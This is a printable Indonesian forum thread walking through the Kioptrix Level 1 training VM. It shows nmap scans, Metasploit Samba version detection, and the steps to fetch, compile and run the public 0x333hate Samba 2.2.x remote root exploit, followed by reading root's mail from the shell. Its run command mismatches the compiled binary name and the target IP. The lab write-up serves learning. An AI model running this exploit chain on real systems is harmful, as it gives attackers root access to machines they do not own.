BackBox Indonesia
Pembahasan Kioptrix Level 1 : Samba Exploit - Printable Version

+- BackBox Indonesia (https://www.backboxindonesia.or.id)
+-- Forum: Attacking (https://www.backboxindonesia.or.id/forum-12.html)
+--- Forum: Privilege Escalation (https://www.backboxindonesia.or.id/forum-19.html)
+--- Thread: Pembahasan Kioptrix Level 1 : Samba Exploit (/thread-21.html)



Pembahasan Kioptrix Level 1 : Samba Exploit - Aiden_ - 03-10-2016

[Image: Screenshot_2016-02-26_13-29-46.png]
Assalamualaikum...
Kioptrix Level 1 : Samba Exploit - untuk kesempatan kali ini saya akan membahas bagaimana mengexploit samba yang ada pada kiotrix server, kioptrix server adalah vulnerable os yang digunakan untuk tujuan pembelajaran dalam hal pentesting.

Tool Yang Dibutuhkan
  1. Nmap
  2. Metasploit
  3. Kioptrix Level 1 : Download disini
Mencari Ip Target

Dalam mencari ip target, saya menggunakan nmap dengan parameter -sn untuk melakukan Ping scan agar dapat mencari host yg live

Quote:root@ubuntu-linux:/home/aiden# nmap -sn 192.168.33.1/24

Starting Nmap 7.01 ( https://nmap.org ) at 2016-02-26 13:06 HKT
Nmap scan report for 192.168.33.128
Host is up (0.00042s latency).
MAC Address: 00:0C:29:83:B2:94 (VMware)
Nmap scan report for 192.168.33.254
Host is up (0.000044s latency).
MAC Address: 00:50:56:E2:65:F0 (VMware)
Nmap scan report for 192.168.33.1
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 30.30 seconds
Scanning Service Pada Server
Untuk pencarian service atau layanan yang sudah diinstall pada kiotrix server kita gunakan nmap dengan parameter -sV untuk melakukan service version scanning
Quote:root@ubuntu-linux:/home/aiden# nmap -sV 192.168.33.128

Starting Nmap 7.01 ( https://nmap.org ) at 2016-02-26 13:38 HKT
Nmap scan report for 192.168.33.128
Host is up (0.00022s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/http    Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
1024/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:83:B2:94 (VMware)
Scanning Samba Version

Setelah melakukan service scanning kita lanjutkan dengan mencari versi dari samba yang sudah diinstall di kiotrix menggunakan modul auxiliary pada metasploit

Quote:msf > search smb_version

Matching Modules
================

   Name                               Disclosure Date  Rank    Description
   ----                               ---------------  ----    -----------
   auxiliary/scanner/smb/smb_version                   normal  SMB Version Detection

msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS                      yes       The target address range or CIDR identifier
   SMBDomain  .                no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as
   THREADS    1                yes       The number of concurrent threads

msf auxiliary(smb_version) > set RHOSTS 192.168.33.128
RHOSTS => 192.168.33.128
msf auxiliary(smb_version) > run

[*] 192.168.33.128:139 could not be identified: Unix (Samba 2.2.1a)
[*]Scanned 1 of 1 hosts (100% complete)
[*]Auxiliary module execution completed
[*]
Exploiting Samba

Kita tidak perlu bingung mau menggunakan exploit apa, karena samba 2.2.x memiliki exploit yang sudah dibuat yaitu 0x333hate => samba 2.2.x remote root exploit, sebenar nya bisa juga dengan trans2open exploit di metasploit, tapi karena metasploit saya lagi error jadi saya make 0x333hate yang base on trans2open.

~# wget http://downloads.securityfocus.com/vulnerabilities/exploits/0x333hate.c
~# gcc 0x333hate.c -o xpl
~# ./xlp -t 192.168.33.1

kita sudah mendapatkan shell akses ke system kioptrix.

[Image: Screenshot_2016-02-27_19-58-32.png]


[*]

Ingat "Shell is Only the Beginning" , lalu apa yang harus dilakukan ? karena tidak ada clue, ane iseng mencari file .bash_history untuk melihat command apa aja yang pernah di ketik


[Image: Selection_003.png]


[*]

Ada commad mail yang digunakan untuk email proses
lalu tinggal ketik aja di shell nya

Quote:# mail  <-- untuk melihat list email
# exit <-- agar keluar dari perintah mail
# cat /var/mail/root



[Image: Screenshot%2Bfrom%2B2016-02-27%2B20-06-27.png]


[*]

Rupa nya isi email tersebut agar kita bisa lanjut ke level 2 kiotrix nya ^_^

sekian tutorial sederhana dari saya. semoga dapat bermanfaat bagi kita semua dan mohon maaf apa bila ada salah pemberian definisi :D


RE: Pembahasan Kioptrix Level 1 : Samba Exploit - teh - 03-10-2016

om ini install kioptrix nya di virtual yaa. .


RE: Pembahasan Kioptrix Level 1 : Samba Exploit - Aiden_ - 03-11-2016

(03-10-2016, 02:50 PM)teh Wrote: om ini install kioptrix nya di virtual yaa. .

iyaa bang harus itu


RE: Pembahasan Kioptrix Level 1 : Samba Exploit - teh - 03-11-2016

okee siip ane test dlu dah :D